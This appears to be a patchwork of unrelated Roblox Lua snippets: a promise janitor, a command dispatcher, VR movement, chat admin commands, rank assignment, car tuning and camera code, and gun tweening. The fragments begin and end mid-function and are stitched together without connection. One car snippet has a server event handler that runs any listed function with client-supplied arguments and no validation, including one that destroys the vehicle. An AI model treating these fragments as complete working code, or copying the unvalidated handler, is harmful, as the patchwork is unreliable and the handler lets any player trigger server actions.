SwordUp()
Tool.Grip = CurrentGrip
end
end
end
end)
|
--[[**
Adds a promise to the janitor. If the janitor is cleaned up and the promise is not completed, the promise will be cancelled.
@param [t:Promise] PromiseObject The promise you want to add to the janitor.
@returns [t:Promise]
**--]]
|
function Janitor.__index:AddPromise(PromiseObject)
if not Promise.is(PromiseObject) then
error(string.format(NOT_A_PROMISE, typeof(PromiseObject), tostring(PromiseObject)))
end
if PromiseObject:getStatus() == Promise.Status.Started then
local Id = newproxy(false)
local NewPromise = self:Add(Promise.resolve(PromiseObject), "cancel", Id)
NewPromise:finallyCall(self.Remove, self, Id)
return NewPromise
else
return PromiseObject
end
end
|
--- A helper that evaluates and runs the command in one go.
-- Either returns any validation errors as a string, or the output of the command as a string. Definitely a string, though.
|
function Dispatcher:EvaluateAndRun (text, executor, options)
executor = executor or Players.LocalPlayer
options = options or {}
if RunService:IsClient() and options.IsHuman then
self:PushHistory(text)
end
local command, errorText = self:Evaluate(text, executor, nil, options.Data)
if not command then
return errorText
end
local ok, out = xpcall(function()
local valid, errorText = command:Validate(true) -- luacheck: ignore
if not valid then
return errorText
end
return command:Run() or "Command executed."
end, function(value)
return debug.traceback(tostring(value))
end)
if not ok then
warn(("Error occurred while evaluating command string %q\n%s"):format(text, tostring(out)))
end
return ok and out or "An error occurred while running this command. Check the console for more information."
end
|
-- TODO: Re-enable once appearance checking works
--print(game.Players.LocalPlayer:HasAppearanceLoaded())
--game:GetService("Players").LocalPlayer.CharacterAppearanceLoaded:wait()
|
wait()
local mass = 0
for _,v in pairs(root:GetConnectedParts(true)) do
mass = mass + v:GetMass()
end
local vectorForce = Instance.new("VectorForce", root)
vectorForce.Name = "Gravity"
vectorForce.Attachment0 = root.RootRigAttachment
vectorForce.RelativeTo = Enum.ActuatorRelativeTo.World
vectorForce.ApplyAtCenterOfMass = true
vectorForce.Force = 196.2*mass*Vector3.new(0,-1,0)
humanoid.StateChanged:Connect(function(old, new)
if new == Enum.HumanoidStateType.Dead or new == Enum.HumanoidStateType.Physics then
vectorForce.Enabled = false
else
vectorForce.Enabled = true
end
end)
|
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/index.ts
| |
-- In radian the maximum accuracy penalty
|
local MaxSpread = 0.12
|
-- initialize to idle
|
playAnimation("idle", 1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(1)
move(time)
end
|
--[=[
Detects if a table has an embedded table as one of its members.
```lua
local Shallow = {"a", "b"}
local Deep = {"a", {"b"}}
print(TableKit.IsFlat(Shallow)) -- prints true
print(TableKit.IsFlat(Deep)) -- prints false
```
@within TableKit
@param tbl table
@return boolean
]=]
|
function TableKit.IsFlat(tbl: { [unknown]: unknown }): boolean
for _, v in tbl do
if typeof(v) == "table" then
return false
end
end
return true
end
|
--[[
MoveControllerCreator:CreateMoveController(VRTouchpad,CharacterClass)
Creates an Move controller given a VRTouchpad and CharacterClass
RETURNS: MoveControllerClass
CLASS MoveControllerClass
MoveControllerClass:UpdateController(ControllerCF)
Updates controller with given Controller CFrame
MoveControllerClass:Disconnect()
Disconnects all events
--]]
|
local MoveControllerCreator = {}
local Configuration = require(script.Parent.Parent:WaitForChild("Configuration"))
local MAGNITUDE_THRESHOLD = Configuration.MoveControllerCreator.MAGNITUDE_THRESHOLD
local TouchpadThumbstickToInput = {
["None"] = Enum.KeyCode.Thumbstick1,
[Enum.VRTouchpad.Left] = Enum.KeyCode.Thumbstick1,
[Enum.VRTouchpad.Right] = Enum.KeyCode.Thumbstick2,
}
local VRService = game:GetService("VRService")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local sin,cos,atan2 = math.sin,math.cos,math.atan2
local GlobalCharacterClass
local CurCharX,CurCharZ = 0,0
local ControllerX,ControllerY,ControllerMag,ControllerAngle = 0,0,0,0
local CurrentControllerLookAngle = 0
local CameraYLocked = false
RunService.RenderStepped:Connect(function(DeltaTime)
if GlobalCharacterClass and ControllerMag > 0 then
local FinalAngle = CurrentControllerLookAngle + ControllerAngle
local TotalWalkspeed = GlobalCharacterClass.Humanoid.WalkSpeed * DeltaTime * ControllerMag
local MoveX,MoveZ = sin(FinalAngle) * TotalWalkspeed,-cos(FinalAngle) * TotalWalkspeed
CurCharX,CurCharZ = CurCharX + MoveX,CurCharZ + MoveZ
GlobalCharacterClass:SetCharacterXZOffset(CurCharX,CurCharZ)
end
end)
function MoveControllerCreator:CreateMoveController(VRTouchpad,CharacterClass)
GlobalCharacterClass = CharacterClass
local MoveControllerClass = {}
local CharacterModel = CharacterClass.CharacterModel
if VRTouchpad then
VRService:SetTouchpadMode(VRTouchpad,Enum.VRTouchpadMode.Touch)
else
VRTouchpad = "None"
end
local ThumbstickInput = TouchpadThumbstickToInput[VRTouchpad]
local Left,Right = Enum.VRTouchpad.Left,Enum.VRTouchpad.Right
local LeftHand,RightHand = Enum.UserCFrame.LeftHand,Enum.UserCFrame.RightHand
local function ValidInput()
if VRTouchpad == "None" then
if ThumbstickInput == TouchpadThumbstickToInput[Left] then
return not VRService:GetUserCFrameEnabled(LeftHand)
else
return not VRService:GetUserCFrameEnabled(RightHand)
end
else
return VRService:GetUserCFrameEnabled((VRTouchpad == Left and LeftHand or RightHand))
end
end
local ControllerLookAngle = 0
function MoveControllerClass:UpdateController(ControllerCF)
ControllerLookAngle = atan2(ControllerCF.lookVector.X,-ControllerCF.lookVector.Z)
end
local function StartInput()
if CameraYLocked == false then
CameraYLocked = true
CharacterClass:SetYPlaneLockWorldOffset(true)
end
end
local function EndInput()
ControllerX,ControllerY = 0,0
ControllerMag = 0
if (CurCharX ~= 0 or CurCharZ ~= 0) and CameraYLocked then
CameraYLocked = false
CharacterClass:SetYPlaneLockWorldOffset(false)
local CurOffset = CharacterClass:GetWorldOffset()
CharacterClass:SetCharacterXZOffset(0,0)
CharacterClass:SetWorldXZOffset(CurCharX + CurOffset.X,CurCharZ + CurOffset.Z)
CurCharX,CurCharZ = 0,0
end
end
local UserInputEvent1 = UserInputService.InputEnded:Connect(function(Input)
local KeyCode = Input.KeyCode
if KeyCode == ThumbstickInput and ValidInput() then
EndInput()
end
end)
local UserInputEvent2 = UserInputService.InputChanged:Connect(function(Input)
if Input.KeyCode == ThumbstickInput and ValidInput() then
local X,Y = Input.Position.X,Input.Position.Y
local Magnitude = ((X ^ 2) + (Y ^ 2)) ^ 0.5
local Angle = atan2(X,Y)
ControllerAngle = Angle
CurrentControllerLookAngle = ControllerLookAngle
if Magnitude > MAGNITUDE_THRESHOLD then
StartInput()
ControllerX,ControllerY = X,Y
ControllerMag = Magnitude
else
EndInput()
end
end
end)
function MoveControllerClass:Disconnect()
UserInputEvent1:Disconnect()
UserInputEvent2:Disconnect()
end
return MoveControllerClass
end
return MoveControllerCreator
|
--------AUDIENCE BACK RIGHT--------
|
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--[=[
Observes all descendants that match a predicate
@param parent Instance
@param predicate ((value: Instance) -> boolean)? -- Optional filter
@return Observable<Brio<Instance>>
]=]
|
function RxInstanceUtils.observeDescendants(parent, predicate)
assert(typeof(parent) == "Instance", "Bad parent")
assert(type(predicate) == "function" or predicate == nil, "Bad predicate")
return Observable.new(function(sub)
local maid = Maid.new()
local added = {}
local function handleDescendant(child)
if not predicate or predicate(child) then
added[child] = true
sub:Fire(child, true)
end
end
maid:GiveTask(parent.DescendantAdded:Connect(handleDescendant))
maid:GiveTask(parent.DescendantRemoving:Connect(function(child)
if added[child] then
added[child] = nil
sub:Fire(child, false)
end
end))
for _, descendant in pairs(parent:GetDescendants()) do
handleDescendant(descendant)
end
return maid
end)
end
return RxInstanceUtils
|
--Yay! it finally went away! :)
|
if string.sub(msg,1,8) == "setgrav/" then
danumber = nil
for i =9,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0)
end end end end end end
if string.sub(msg,1,10) == "walkspeed/" then
danumber = nil
for i =11,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = string.sub(msg,danumber + 1)
end end end end
if string.sub(msg,1,7) == "damage/" then
danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
end end end end
if string.sub(msg,1,7) == "health/" then
danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
local elnumba = Instance.new("IntValue")
elnumba.Value = string.sub(msg,danumber + 1)
if elnumba.Value > 0 then
humanoid.MaxHealth = elnumba.Value
humanoid.Health = humanoid.MaxHealth
end
elnumba:remove()
end end end end
|
-- << LOCAL FUNCTIONS >>
|
local function playerAdded(player)
-- Character Added
player.CharacterAdded:Connect(function(character)
--Check if any commands need re-activating
local humanoid = character:WaitForChild("Humanoid")
local pdata = main.pd[player]
if pdata then
for commandName,_ in pairs(pdata.CommandsActive) do
local speaker = player
local args = {player}
local command = main.commands[string.lower(commandName)]
main:GetModule("cf"):ExecuteCommand(speaker, args, command, {ExtraDetails = {DontForceActivate = true}})
--main:GetModule("Extensions"):SetupCommand(player, commandName, true)
end
for itemName, _ in pairs(pdata.Items) do
main:GetModule("Extensions"):SetupItem(player, itemName, true)
end
end
--Other
wait(1)
if settingUpPlayer[player] then
repeat wait(0.1) until not settingUpPlayer[player]
end
end)
--Check if loader banned
local userId = player.UserId
if main.banned[tostring(userId)] then
player:Kick("\n\nYou're permanently banned from this game.\n\n")
end
-- Setup PlayerData
settingUpPlayer[player] = true
local pdata = main:GetModule("PlayerData"):SetupPlayerData(player)
settingUpPlayer[player] = nil
--Player Chatted
if not main.players:GetPlayerByUserId(userId) then return end
player.Chatted:Connect(function(message)
main.signals.PlayerChatted:Fire(player, message)
main:GetModule("Parser"):ParseMessage(player, message, true)
end)
--Setup Friends
local friends = main:GetModule("cf"):GetFriends(userId)
if not main.pd[player] then return end
main.pd[player].Friends = friends
-- Check if default settings have changed
if not main.players:GetPlayerByUserId(userId) then return end
for settingName, settingValue in pairs(pdata.DefaultSettings) do
local defaultSettingValue = main.settings[settingName]
--print(settingName.." : "..tostring(defaultSettingValue).." : ".. tostring(settingValue))
if defaultSettingValue ~= settingValue then
main.pd[player].DefaultSettings[settingName] = defaultSettingValue
main:GetModule("PlayerData"):ChangeStat(player, settingName, defaultSettingValue)
end
end
--
main:GetModule("PlayerData"):ChangeStat(player, "SetupData", true)
--
-- << SETUP RANKS >>
--Owner
if userId == main.ownerId or main:GetModule("cf"):FindValue(main.owner, userId) then
main:GetModule("cf"):RankPlayerSimple(player, 8, true)
if main.oldLoader then
main.signals.ShowWarning:FireClient(player, "OldLoader")
end
end
--Check if player has admin in this server
local serverRank = main.serverAdmins[player.Name]
if serverRank then
main:GetModule("cf"):RankPlayerSimple(player, serverRank)
end
--Specific User
local specificUserRank = main.permissions.specificUsers[player.Name]
if specificUserRank then
main:GetModule("cf"):RankPlayerSimple(player, specificUserRank, true)
end
--Gamepasses
for gamepassId, gamepassInfo in pairs(main.permissions.gamepasses) do
local hasGamepass = false
if main:GetModule("cf"):FindValue(pdata.Gamepasses, gamepassId) then
hasGamepass = true
elseif main.marketplaceService:UserOwnsGamePassAsync(userId, gamepassId) then
hasGamepass = true
main:GetModule("PlayerData"):InsertStat(player, "Gamepasses", gamepassId)
main:GetModule("cf"):CheckAndRankToDonor(player, pdata, gamepassId)
end
if hasGamepass then
main:GetModule("cf"):RankPlayerSimple(player, gamepassInfo.Rank, true)
end
end
--Assets
if not main.players:GetPlayerByUserId(userId) then return end
for assetId, assetInfo in pairs(main.permissions.assets) do
local hasAsset = false
if main:GetModule("cf"):FindValue(pdata.Assets, assetId) then
hasAsset = true
elseif main.marketplaceService:PlayerOwnsAsset(player, assetId) then
hasAsset = true
main:GetModule("PlayerData"):InsertStat(player, "Assets", assetId)
end
if hasAsset then
main:GetModule("cf"):RankPlayerSimple(player, assetInfo.Rank, true)
end
end
--Groups
if not main.players:GetPlayerByUserId(userId) then return end
for groupId, groupInfo in pairs(main.permissions.groups) do
local roleName = player:GetRoleInGroup(groupId)
if groupInfo.Roles[roleName] then
main:GetModule("cf"):RankPlayerSimple(player, groupInfo.Roles[roleName].Rank, true)
end
end
--Friends
if not main.players:GetPlayerByUserId(userId) then return end
for plrName, plrId in pairs(friends) do
if plrId == main.ownerId then
main:GetModule("cf"):RankPlayerSimple(player, main.permissions.friends, true)
end
end
--VIPServers
local vipServerOwnerId = game.VIPServerOwnerId
if vipServerOwnerId ~= 0 then
if userId == vipServerOwnerId then
main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerOwner, true)
else
main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerPlayer, true)
end
end
--Free admin
local freeAdminRank = main.permissions.freeAdmin
if tonumber(freeAdminRank) and freeAdminRank > 0 then
main:GetModule("cf"):RankPlayerSimple(player, freeAdminRank, true)
end
-- << CHECK FOR SERVER LOCK >>
if pdata.Rank < main.ranksAllowedToJoin then
player:Kick("The server has been locked for ranks below '".. main:GetModule("cf"):GetRankName(main.ranksAllowedToJoin).."'")
for i, plr in pairs(main.players:GetChildren()) do
main.signals.Hint:FireClient(plr, {"Standard", "Server Lock: "..player.Name.." attempted to join! Rank = '"..main:GetModule("cf"):GetRankName(pdata.Rank).."'", Color3.fromRGB(255,255,255)})
end
end
-- << CHECK IF BANNED >>
--local success, record = false, main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)]
local success, record = pcall(function() return main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)] end)
if not record then
success, record = pcall(function() return main.sd.Banland.Records[main:GetModule("cf"):FindUserIdInRecord(main.sd.Banland.Records, userId)] end)
end
if success and record then
main:GetModule("cf"):BanPlayer(player.UserId, record)
end
-- << CHECK PERM RANK AND RANK EXISTS >>
if pdata.SaveRank and main:GetModule("cf"):GetRankName(pdata.Rank) == "" then
main:GetModule("cf"):Unrank(player)
end
-- << START COLOUR >>
wait(2)
if not main.players:GetPlayerByUserId(userId) then return end
--Setup start chat colour
local plrChatColor
for chatRankId, chatColor3 in pairs(main.settings.ChatColors) do
if pdata.Rank == chatRankId then
plrChatColor = chatColor3
break
end
end
if plrChatColor then
local speaker = main.chatService:GetSpeaker(player.Name)
if not speaker then
local maxRetries = 10
for i = 1,maxRetries do
wait(0.5)
if not main.players:GetPlayerByUserId(userId) then return end
speaker = main.chatService:GetSpeaker(player.Name)
if speaker then
break
end
end
end
if speaker then
speaker:SetExtraData("ChatColor", plrChatColor)
end
end
-- << NOTICES >>
wait(1)
if not main.players:GetPlayerByUserId(userId) then return end
if pdata.Rank > 0 and main.settings.WelcomeRankNotice ~= false then
local rankName = main:GetModule("cf"):GetRankName(pdata.Rank)
main:GetModule("cf"):FormatAndFireNotice(player, "WelcomeRank", rankName)
end
if pdata.Donor and main.settings.WelcomeDonorNotice ~= false then
main:GetModule("cf"):DonorNotice(player, pdata)
end
--main.signals.FadeInIcon:FireClient(player)
end
|
--[[
The stateUpdater accepts props when they update and computes the
complete set of props that should be passed to the wrapped component.
Each connected component will have a stateUpdater created for it.
stateUpdater is put into the component's state in order for
getDerivedStateFromProps to be able to access it. It is not mutated.
]]
|
local function makeStateUpdater(store)
return function(nextProps, prevState, mappedStoreState)
-- The caller can optionally provide mappedStoreState if it needed that
-- value beforehand. Doing so is purely an optimization.
if mappedStoreState == nil then
mappedStoreState = prevState.mapStateToProps(store:getState(), nextProps)
end
local propsForChild = join(nextProps, mappedStoreState, prevState.mappedStoreDispatch)
return {
mappedStoreState = mappedStoreState,
propsForChild = propsForChild,
}
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 100 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=70 + car.DriveSeat.Velocity.Magnitude/40
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="u" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="z" and look==50 then
look=0
elseif key=="x" and (look==-160 or look==-180) then
look=0
elseif key=="c" and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
AimZoom = 60; -- Default zoom
AimSpeed = 0.23;
UnaimSpeed = 0.23;
CycleAimZoom = 55; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--F.updateSound = function(Sound, Pitch, Volume)
-- if Sound then
-- if Pitch then
-- Sound.Pitch = Pitch
-- end
-- if Volume then
-- Sound.Volume = Volume
-- end
-- end
--end
|
F.lock = function(x)
end
local on = 0
F.rs = function(y)
local tune = require(carSeat.Parent:FindFirstChild("A-Chassis Tune"))
carSeat.IsOn.Value = y
if y then
carSeat.EngineStart:Play()
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2
else car.DriveSeat.Rev.Pitch = 0
carSeat.EngineStart:Stop()
end
end
F.user = function()
carSeat.Parent:Destroy()
end
F.tk3 = function(b)
carSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = 0
carSeat.Parent.Misc.TK2.SS.Motor.DesiredAngle = 0
end
F.tk2 = function(b)
carSeat.Parent.Misc.TK2.SS.Motor.DesiredAngle = b and -1.5 or 0
end
F.tk = function(b)
carSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1 or 0
end
script.Parent.OnServerEvent:connect(function(Player, Func, ...)
if F[Func] then
F[Func](...)
end
end)
|
--- Skill
|
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "LightBeam"
Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01)
Track1:Play()
wait(0.27)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,20 do
wait()
hum.CameraOffset = Vector3.new(
math.random(1,1),
math.random(1,1),
math.random(1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
Tool.Active.Value = "None"
wait(7.5)
Debounce = true
end
end)
|
-- This is in charge of the animations for the character. Pretty much stole it from the default character. Removed emote stuff.
|
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=180435571", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=180435792", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=180426354", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=180436148", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=180436334", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=178130996", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
|
---------------------[ TWEEN MODULE ]-------------------------------------------------
|
function tweenFoV(goal, frames)
coroutine.resume(coroutine.create(function()
SFn = SFn and SFn + 1 or 0
local SFn_S = SFn
for i = 1, frames do
if SFn ~= SFn_S then break end
Camera.FieldOfView = Camera.FieldOfView + (goal - Camera.FieldOfView) * (i / frames)
game:GetService("RunService").RenderStepped:wait()
end
end))
end
function Lerp(n,g,t)
return n+(g-n)*t
end
local RS = game:GetService("RunService")
function tweenJoint(Joint, newC0, newC1, Alpha, Duration)
spawn(function()
local newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000
local tweenIndicator = nil
if (not Joint:findFirstChild("tweenCode")) then --If the joint isn't being tweened, then
tweenIndicator = Instance.new("IntValue")
tweenIndicator.Name = "tweenCode"
tweenIndicator.Value = newCode
tweenIndicator.Parent = Joint
else
tweenIndicator = Joint.tweenCode
tweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop
end
--local tweenIndicator = createTweenIndicator:InvokeServer(Joint, newCode)
if Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop
if newC0 then Joint.C0 = newC0 end
if newC1 then Joint.C1 = newC1 end
else
local Increment = 1.5 / Duration
local startC0 = Joint.C0
local startC1 = Joint.C1
local X = 0
while true do
RS.RenderStepped:wait() --This makes the for loop step every 1/60th of a second
local newX = X + Increment
X = (newX > 90 and 90 or newX)
if tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint
if (not Equipped) then break end --This stops the tween if the tool is deselected
if newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end
if newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end
if X == 90 then break end
end
end
if tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code
tweenIndicator:Destroy()
end
end)
end
function LoadClientMods()
for L_335_forvar1, L_336_forvar2 in pairs(GunMods:GetChildren()) do
if L_336_forvar2:IsA('LocalScript') then
local L_337_ = L_336_forvar2:clone()
L_337_.Parent = ModStorageFolder
L_337_.Disabled = false
end
end
end
function UnloadClientMods()
for L_335_forvar1, L_336_forvar2 in pairs(ModStorageFolder:GetChildren()) do
if L_336_forvar2:IsA('LocalScript') then
